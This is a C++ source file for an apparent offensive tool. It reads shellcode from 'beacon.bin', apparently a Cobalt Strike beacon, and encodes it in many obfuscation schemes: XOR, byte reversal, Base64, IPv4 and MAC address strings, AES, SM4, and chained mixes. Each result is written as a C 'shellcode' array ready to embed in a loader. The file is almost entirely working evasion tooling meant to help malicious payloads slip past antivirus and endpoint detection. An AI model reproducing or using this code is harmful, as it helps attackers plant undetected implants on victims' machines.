ProcessSc.cpp

#include "encode/base64.h"
#include "encode/ipv4.h"
#include "encode/mac.h"
#include "encode/reversebyte.h"
#include "encode/xor.h"
#include "crypto/aes-Ttable.h"
#include "crypto/sm4.h"

#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <cstdio>
#include <cstdlib>

#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


std::vector<unsigned char> readShellcodeFromFile(const std::string& filename) {
    std::ifstream file(filename, std::ios::binary);
    if (!file) {
        std::cerr << "❌ Failed to open file: " << filename << std::endl;
        exit(1);
    }
    return std::vector<unsigned char>((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
}

void writeAsCString(const std::string& filename, const std::string& encodedStr) {
    std::ofstream file(filename);
    if (!file) {
        std::cerr << "❌ Failed to open output file: " << filename << std::endl;
        return;
    }

    file << "const unsigned char shellcode[] = \"";
    size_t count = 0;
    for (char c : encodedStr) {
        // 处理特殊字符转义
        if (c == '\\') file << "\\\\";
        else if (c == '\"') file << "\\\"";
        else if (isprint((unsigned char)c)) file << c;
        else file << "\\x" << std::hex << std::uppercase << (int)(unsigned char)c;

        if (++count % 80 == 0) file << "\"\n\"";
    }
    file << "\";\n";
    file.close();
}

void writeAsCByteArray(const std::string& filename, const std::string& encoded) {
    std::ofstream file(filename);
    if (!file) {
        std::cerr << "❌ Failed to open output file: " << filename << std::endl;
        return;
    }

    file << "const unsigned char shellcode[] = {\n    ";
    size_t count = 0;
    for (unsigned char c : encoded) {
        file << "0x" << std::hex << std::uppercase << (int)c;
        if (++count != encoded.size()) file << ", ";
        if (count % 12 == 0) file << "\n    ";
    }
    file << "\n};\n";
    file.close();
}

void writeAsIpv4Array(const std::string& filename, const unsigned char* encoded) {
    std::ofstream file(filename);
    if (!file) {
        std::cerr << "❌ Failed to open output file: " << filename << std::endl;
        return;
    }

    file << "const unsigned char shellcode[] = \"";
    const char* p = (const char*)encoded;
    size_t ip_count = 0;

    // 先输出头部（len=xxx;）
    const char* header_end = strchr(p, ';');
    if (header_end) {
        std::string header(p, header_end - p + 1);
        for (char c : header) {
            // 处理特殊字符转义
            if (c == '\\') file << "\\\\";
            else if (c == '\"') file << "\\\"";
            else if (isprint((unsigned char)c)) file << c;
            else file << "\\x" << std::hex << std::uppercase << (int)(unsigned char)c;
        }
        p = header_end + 1;
    }

    // 输出IPv4地址，每16个IP后换行
    while (*p) {
        const char* ip_start = p;
        // 找到下一个分隔符','或字符串结尾
        while (*p && *p != ',') ++p;

        std::string ip_addr(ip_start, p - ip_start);
        for (char c : ip_addr) {
            // 处理特殊字符转义
            if (c == '\\') file << "\\\\";
            else if (c == '\"') file << "\\\"";
            else if (isprint((unsigned char)c)) file << c;
            else file << "\\x" << std::hex << std::uppercase << (int)(unsigned char)c;
        }

        if (*p == ',') {
            file << ",";
            ++p;
        }

        ++ip_count;
        if (ip_count % 16 == 0) file << "\"\n\"";
    }

    file << "\";\n";
    file.close();
}

void writeAsMacArray(const std::string& filename, const unsigned char* encoded) {
    std::ofstream file(filename);
    if (!file) {
        std::cerr << "❌ Failed to open output file: " << filename << std::endl;
        return;
    }

    file << "const unsigned char shellcode[] = \"";
    const char* p = (const char*)encoded;
    size_t mac_count = 0;

    // 输出MAC地址，每16个MAC后换行
    while (*p) {
        const char* mac_start = p;
        // 找到下一个分隔符','或字符串结尾
        while (*p && *p != ',') ++p;

        std::string mac_addr(mac_start, p - mac_start);
        for (char c : mac_addr) {
            // 处理特殊字符转义
            if (c == '\\') file << "\\\\";
            else if (c == '\"') file << "\\\"";
            else if (isprint((unsigned char)c)) file << c;
            else file << "\\x" << std::hex << std::uppercase << (int)(unsigned char)c;
        }

        if (*p == ',') {
            file << ",";
            ++p;
        }

        ++mac_count;
        if (mac_count % 16 == 0) file << "\"\n\"";
    }

    file << "\";\n";
    file.close();
}

void encodeBase64(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enBase64(shellcode.data(), shellcode.size(), &len);
    if (!encoded) {
        std::cerr << "❌ Base64 encode failed." << std::endl;
        return;
    }
    writeAsCString("encoded_base64.txt", std::string((const char*)encoded));
    free(encoded);
}

void encodeIpv4(const std::vector<unsigned char>& shellcode) {
    unsigned char* encoded = enIpv4(shellcode.data(), shellcode.size());
    if (!encoded) {
        std::cerr << "❌ IPv4 encode failed." << std::endl;
        return;
    }
    writeAsIpv4Array("encoded_ipv4.txt", encoded);
    free(encoded);
}

void encodeMac(const std::vector<unsigned char>& shellcode) {
    unsigned char* encoded = enMac(shellcode.data(), shellcode.size());
    if (!encoded) {
        std::cerr << "❌ MAC encode failed." << std::endl;
        return;
    }
    writeAsMacArray("encoded_mac.txt", encoded);
    free(encoded);
}

void encodeXor(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enXor(shellcode.data(), shellcode.size(), &len);
    if (!encoded) {
        std::cerr << "❌ XOR encode failed." << std::endl;
        return;
    }
    writeAsCByteArray("encoded_xor.txt", std::string((const char*)encoded, len));
    free(encoded);
}

void encodeReverseByte(const std::vector<unsigned char>& shellcode) {
    size_t len;
    unsigned char* encoded = enReversebyte(shellcode.data(), shellcode.size(), &len);
    if (!encoded) {
        std::cerr << "❌ ReverseByte encode failed." << std::endl;
        return;
    }
    writeAsCByteArray("encoded_reversebyte.txt", std::string((const char*)encoded));
    free(encoded);
}

void customEncode(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enXor(shellcode.data(), shellcode.size(), &len);
    unsigned char* encoded2 = enIpv4(encoded, len);
    if (!encoded2) {
        std::cerr << "❌ CustomEncode failed." << std::endl;
        free(encoded);
        free(encoded2);
        return;
    }
    writeAsIpv4Array("encoded_xor-ipv4.txt", encoded2);
    free(encoded);
    free(encoded2);
}

void customEncode1(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enXor(shellcode.data(), shellcode.size(), &len);
    unsigned char* encoded2 = enReversebyte(encoded, len, &len);
    unsigned char* encoded3 = enMac(encoded2, len);
    if (!encoded3) {
        std::cerr << "❌ CustomEncode1 failed." << std::endl;
        free(encoded);
        free(encoded2);
        free(encoded3);
        return;
    }
    writeAsMacArray("encoded_xor-rev-mac.txt", encoded3);
    free(encoded);
    free(encoded2);
    free(encoded3);
}

void customEncode2(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enXor(shellcode.data(), shellcode.size(), &len);
    unsigned char* encoded2 = enReversebyte(encoded, len, &len);
    unsigned char* encoded3 = enIpv4(encoded2, len);
    if (!encoded3) {
        std::cerr << "❌ CustomEncode2 failed." << std::endl;
        free(encoded);
        free(encoded2);
        free(encoded3);
        return;
    }
    writeAsIpv4Array("encoded_xor-rev-ipv4.txt", encoded3);
    free(encoded);
    free(encoded2);
    free(encoded3);
}

void encodeAES(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enAES(shellcode.data(), shellcode.size(), &len);
    if (!encoded) {
        std::cerr << "❌ AES encode failed." << std::endl;
        return;
    }
    writeAsCByteArray("encoded_aes.txt", std::string((const char*)encoded, len));
    free(encoded);
}

void encodeSM4(const std::vector<unsigned char>& shellcode) {
    size_t len = 0;
    unsigned char* encoded = enSM4(shellcode.data(), shellcode.size(), &len);
    if (!encoded) {
        std::cerr << "❌ SM4 encode failed." << std::endl;
        return;
    }
    writeAsCByteArray("encoded_sm4.txt", std::string((const char*)encoded, len));
    free(encoded);
}

// AES + Base64 混合编码
void encodeAESBase64(const std::vector<unsigned char>& shellcode) {
    size_t aes_len = 0;
    unsigned char* aes_encoded = enAES(shellcode.data(), shellcode.size(), &aes_len);
    if (!aes_encoded) {
        std::cerr << "❌ AES-Base64 encode failed at AES step." << std::endl;
        return;
    }
    
    size_t b64_len = 0;
    unsigned char* b64_encoded = enBase64(aes_encoded, aes_len, &b64_len);
    if (!b64_encoded) {
        std::cerr << "❌ AES-Base64 encode failed at Base64 step." << std::endl;
        free(aes_encoded);
        return;
    }
    
    writeAsCString("encoded_aes-base64.txt", std::string((const char*)b64_encoded));
    free(aes_encoded);
    free(b64_encoded);
}

// SM4 + IPv4 混合编码
void encodeSM4IPv4(const std::vector<unsigned char>& shellcode) {
    size_t sm4_len = 0;
    unsigned char* sm4_encoded = enSM4(shellcode.data(), shellcode.size(), &sm4_len);
    if (!sm4_encoded) {
        std::cerr << "❌ SM4-IPv4 encode failed at SM4 step." << std::endl;
        return;
    }
    
    unsigned char* ipv4_encoded = enIpv4(sm4_encoded, sm4_len);
    if (!ipv4_encoded) {
        std::cerr << "❌ SM4-IPv4 encode failed at IPv4 step." << std::endl;
        free(sm4_encoded);
        return;
    }
    
    writeAsIpv4Array("encoded_sm4-ipv4.txt", ipv4_encoded);
    free(sm4_encoded);
    free(ipv4_encoded);
}

// AES + XOR + MAC 混合编码
void encodeAESXorMac(const std::vector<unsigned char>& shellcode) {
    size_t aes_len = 0;
    unsigned char* aes_encoded = enAES(shellcode.data(), shellcode.size(), &aes_len);
    if (!aes_encoded) {
        std::cerr << "❌ AES-XOR-MAC encode failed at AES step." << std::endl;
        return;
    }
    
    size_t xor_len = 0;
    unsigned char* xor_encoded = enXor(aes_encoded, aes_len, &xor_len);
    if (!xor_encoded) {
        std::cerr << "❌ AES-XOR-MAC encode failed at XOR step." << std::endl;
        free(aes_encoded);
        return;
    }
    
    unsigned char* mac_encoded = enMac(xor_encoded, xor_len);
    if (!mac_encoded) {
        std::cerr << "❌ AES-XOR-MAC encode failed at MAC step." << std::endl;
        free(aes_encoded);
        free(xor_encoded);
        return;
    }
    
    writeAsMacArray("encoded_aes-xor-mac.txt", mac_encoded);
    free(aes_encoded);
    free(xor_encoded);
    free(mac_encoded);
}

// SM4 + ReverseByte + Base64 混合编码
void encodeSM4RevBase64(const std::vector<unsigned char>& shellcode) {
    size_t sm4_len = 0;
    unsigned char* sm4_encoded = enSM4(shellcode.data(), shellcode.size(), &sm4_len);
    if (!sm4_encoded) {
        std::cerr << "❌ SM4-REV-Base64 encode failed at SM4 step." << std::endl;
        return;
    }
    
    size_t rev_len = 0;
    unsigned char* rev_encoded = enReversebyte(sm4_encoded, sm4_len, &rev_len);
    if (!rev_encoded) {
        std::cerr << "❌ SM4-REV-Base64 encode failed at ReverseByte step." << std::endl;
        free(sm4_encoded);
        return;
    }
    
    size_t b64_len = 0;
    unsigned char* b64_encoded = enBase64(rev_encoded, rev_len, &b64_len);
    if (!b64_encoded) {
        std::cerr << "❌ SM4-REV-Base64 encode failed at Base64 step." << std::endl;
        free(sm4_encoded);
        free(rev_encoded);
        return;
    }
    
    writeAsCString("encoded_sm4-rev-base64.txt", std::string((const char*)b64_encoded));
    free(sm4_encoded);
    free(rev_encoded);
    free(b64_encoded);
}

int main() {
    //testCustomEncode1();
    const std::string inputFile = "beacon.bin";
    std::vector<unsigned char> shellcode = readShellcodeFromFile(inputFile);

    std::cout << "✅ Loaded shellcode (" << shellcode.size() << " bytes) from " << inputFile << std::endl;

    encodeBase64(shellcode);
    encodeReverseByte(shellcode);
    encodeIpv4(shellcode);
    encodeXor(shellcode);
    encodeMac(shellcode);
    encodeAES(shellcode);
    encodeSM4(shellcode);
    
    // 混合编码：AES/SM4 + 其他算法
    encodeAESBase64(shellcode);
    encodeSM4IPv4(shellcode);
    encodeAESXorMac(shellcode);
    encodeSM4RevBase64(shellcode);
    
    // 原有的混合编码
    customEncode(shellcode);
    customEncode1(shellcode);
    customEncode2(shellcode);
    std::cout << "✅ All encodings done. Output saved to .txt files.\n";
    return 0;
}